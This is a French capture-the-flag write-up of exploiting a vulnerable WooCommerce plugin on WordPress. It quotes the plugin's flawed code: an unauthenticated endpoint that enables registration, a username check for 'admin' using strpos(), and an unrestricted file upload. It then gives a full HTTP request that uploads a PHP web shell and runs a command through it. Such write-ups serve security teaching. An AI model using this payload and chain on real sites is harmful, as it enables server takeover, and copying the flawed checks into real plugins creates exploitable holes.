My-disaster-shop

Mon désastre au magasin

Publié le 06/06/2024, 16:30:00

Ceci est un autre article pour la postérité, malgré qu'il ait été résolu après la compétition.

Description du défi

Nous avons une installation fraîche de Wordpress avec le plugin Woocommerce, pour administrer un magasin en ligne, et un autre plugin qui doit être contrôlé pour sécurité. Cela est typique d'un scénario que je rencontre fréquemment dans mon travail.

Nous avons donc le thème twenty-twenty-four, Woocommerce, et un plugin inconnu qui fonctionne avec Woocommerce:

twenty-twenty-four theme by Wordpress

Assez rapidement, je trouve la page /my-account/, une page de connexion.

Page de connexion

Vu que nous disposons des fichiers du plugin, il est temps de les explorer. Beaucoup de PHP et de lecture de documentation wordpress plus tard, l'une des première chose que j'ai découvert était la possibilité d'activer la création de nouveaux utilisateurs depuis l'un des terminaux de l'api rest du plugin, sans aucun privilège:

  • challenge-custom/woo-variations/includes/class-woo-variations-rest-api.php (partial):
function register_customer_registration_disable() {
        register_rest_route( 'woo-variations/v1', '/registration-disable/', array(
                'methods'  => 'GET',
                'callback' => array($this, 'registration_disable'),
                'args'     => array(
                        'data' => array(
                        'required' => false,
                        'default'  => array(),
                        )
                )
         ));
}

function registration_disable( $data ) {
        update_option( 'users_can_register', 0 );
        wp_send_json('Customer registration disabled');
}

function register_customer_registration_enable() {
        register_rest_route( 'woo-variations/v1', '/registration-enable/', array(
                'methods'  => 'GET',
                'callback' => array($this, 'registration_enable'),
                'args'     => array(
                        'data' => array(
                        'required' => false,
                        'default'  => array(),
                        )
                )
         ));
}

Nous pouvons voir que nous avons un terminal d'api qui peut être appelé pour 2 actions:

  • registration_disable
  • registration_enable

C'est à ce moment que la pratique est enfin devenue utile pour une compétition: Je venais de découvrir qu'il est possible d'utiliser /wp-json/, qui permet de faire une requête à l'url qui permet d'activer cette fonction du plugin Woo-Variations:

http://localhost:8686/wp-json/woo-variations/v1/registration-enable

Activer l'enregistrement de nouveaux clients

Ensuite, je me suis précipité sur /wp-admin par curiosité, et cette fois, au lieu d'une page de login customisée, j'ai vu le login Wordpress habituel, avec l'option pour enregistrer un nouveau client. Voici le tableau de bord client:

Tableau de bord du client

À partir de la , une autre partie du code posait problème, d'un point de vue sécuritaire:

  • challenge-custom/woo-variations/includes/class-woo-variations-backend.php (partial)
function check_permission() {

        if ( !current_user_can( "manage_options" ) && strpos( wp_get_current_user()->user_login, 'admin' ) === false )
        {
                 return false;
        }

        return true;
}

Nous pouvons voir que le code contrôle si 2 conditions sont vraies, et que le second contrôle ne fait que chercher la chaîne de caractères 'admin' dans le nom d'utilisateur de connexion.

La fonction strpos() trouve la première occurence d'une chaîne dans une autre châine de caractère. Note: La fonction strpos() est sensible à la casse.

https://www.w3schools.com/php/func_string_strpos.asp

La meilleure chose à tester dès maintenant, c'est de créer un utilisateur avec un nom d'utilisateur de connexion qui contient le mot 'admin' comme 'admin-starlord', ce qui m'a permis d'accéder aux fonctionnalités du back-end. J'ai essayé de changer seulement le nom d'utilisateur dans les options de profil, mais il fallait recréer un nouvel utilisateur pour que ça fonctionne:

Le mot admin dans le nom d'utilisateur de connexion

La prochaine fonctionnalité intéressante est set_gallery_picture, parce qu'elle permet d'uploader un fichier sur cette installation Wordpress:

  • challenge-custom/woo-variations/includes/class-woo-variations-backend.php (partial)
public function set_gallery_picture() {

        if ( !is_admin() || !$this->check_permission() )
        {
                wp_send_json( 'Unauthorized!' );
        }

        $product_id = isset( $_POST['product_id'] ) ? intval( $_POST['product_id'] ) : 0;

        // Verify that the product exists and is a WooCommerce product
        if ( $product_id && function_exists( 'wc_get_product' ) ) {

                if ( $_FILES && isset( $_FILES['gallery_picture'] ) ) {

                        $file = $_FILES['gallery_picture'];
                        $file_type = wp_check_filetype( basename( $file['name'] ), array( 'jpg', 'jpeg', 'png' ) );

                        $upload_dir = wp_upload_dir();
                        $upload_path = $upload_dir['basedir'] . '/woo-gallery/';
                        if ( !file_exists( $upload_path ) ) {
                                wp_mkdir_p( $upload_path );
                        }

                        if (move_uploaded_file( $file['tmp_name'], $upload_path . sanitize_file_name($file['name']) ) ) {

                                $file_url = $upload_dir['baseurl'] . '/woo-gallery/' . sanitize_file_name($file['name']);

                                if (function_exists( 'wc_gallery_set_attachment_from_url' ) )
                                {
                                        $attachment_id = wc_gallery_set_attachment_from_url( $file_url, $product_id);
                                        if ( $attachment_id) {
                                                echo json_encode(array( 'success' => true, 'message' => 'Gallery picture uploaded successfully.' ) );
                                        } else {
                                                echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to product gallery.' ) );
                                        }
                                }
                                else {
                                        echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to Woocommerce product.' ) );
                                }

                        } else {
                                echo json_encode(array( 'success' => false, 'message' => 'Error uploading file.' ) );
                        }
                } else {
                        echo json_encode(array( 'success' => false, 'message' => 'No file uploaded.' ) );
                }
        } else {
                echo json_encode(array( 'success' => false, 'message' => 'Invalid product ID.' ) );
        }
}

Le premier contrôle is_admin() peut être ignoré, car cette fonction retourne 'true' quand l'url actuel est une page qui se trouve sur la partie admin de Wordpress, donc pas besoin de privilèges supplémentaires pour uploader un fichier destiné à prendre le contrôle. Pour ce faire, l'outil de prédilection est BurpSuite, et sa fonctionalité très utile Change body encoding, pour automatiquement changer l'encodage au format multipart, créant automatiquement les bonnes en-têtes boundary= et Content-Type:.

Change body encoding

Mais comment utiliser cette fonction de Woo-variatons? Alors que nous utilisions le terminal api /wp-json/v1, cela ne marche plus cette fois-ci, car la fonction à été ajoutée en tant qu'action wp-ajax:

public function hooks() {
        add_filter( 'getmoreplugins_get_settings_pages', array( $this, 'init_settings' ) );

        add_filter( 'plugin_action_links_' . plugin_basename( WOO_VARIATIONS_PLUGIN_FILE ), array(
                $this,
                'plugin_action_links'
        ) );

        add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );
        add_action( 'admin_footer', array( $this, 'admin_template_js' ) );

        add_action( 'wp_ajax_associate_product_variation', array( $this, 'associate_product_variation' ) );
        add_action( 'wp_ajax_nopriv_associate_product_variation', array( $this, 'associate_product_variation' ) );

        add_action( 'wp_ajax_set_gallery_picture', array( $this, 'set_gallery_picture' ) );
        add_action( 'wp_ajax_nopriv_set_gallery_picture', array( $this, 'set_gallery_picture' ) );

        add_action( 'woocommerce_save_product_variation', array( $this, 'save_product_variation' ), 10, 2 );
        add_action( 'woocommerce_product_after_variable_attributes', array( $this, 'gallery_admin_html' ), 10, 3 );

        add_action( 'after_switch_theme', array( $this, 'remove_option' ), 20 );
                }

Nous pouvons donc appeler cette fonction par cette url:

http://localhost:8686/wp-admin/admin-ajax.php?action=set_gallery_picture&product_id=0&gallery_picture=

My Shop Disaster8

En appelant cette url, il est possible d'envoyer une requête POST avec les bons paramètres pour uploader une gallery_picture avec BurpSuite. Pour que la fonctionnalité change body encoding marche correctement, il faut rajouter une en-tête Content-Type: x-www-form-urlencoded, et aussi un filename pour mon fichier d'attaque:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: challenge.nahamcon.com:port
Cookie: wordpress_b1fc8e0fa54a56c9a22d3b9c2fe67c92=admin-starlord%7C1716846545%7CumCgWrWQc1muc3GhFyIJpzpPbfCUIinVqP6KEeeMKQX%7Cf3f986009f4f4d1185ed6728024ca7ed031c5a2e0d7fa2911ce0352e9f7a943b
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Length: 396

------WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Disposition: form-data; name="action"

set_gallery_picture
------WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Disposition: form-data; name="product_id"

1
------WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Disposition: form-data; name="gallery_picture"; filename="starlord.php"

<?php if (isset($_GET['cmd'])) system($_GET['cmd']); ?>
------WebKitFormBoundaryoUIWKzm0piFTNvbB--

Le message d'erreur à changé , ce qui nous indique que le code à déjà exécuté l'étape après le premier contrôle:

{"success":false,"message":"Error adding attachment to Woocommerce product."}0

Malgrès le contenu du message, nous savons que le fichier à été uploadé sur la machine hébergeant ce site, Il ne suffit plus que de naviguer à /starlord.php pour avoir accès à une interface de commande:

Flag de test

/wp-content/uploads/woo-gallery/starlord.php?cmd=cat /flag.txt
starlord-profile

Star-Lord - Développeur


Synthweb.ch - création de site web en Suisse, LinkedIn, Instagram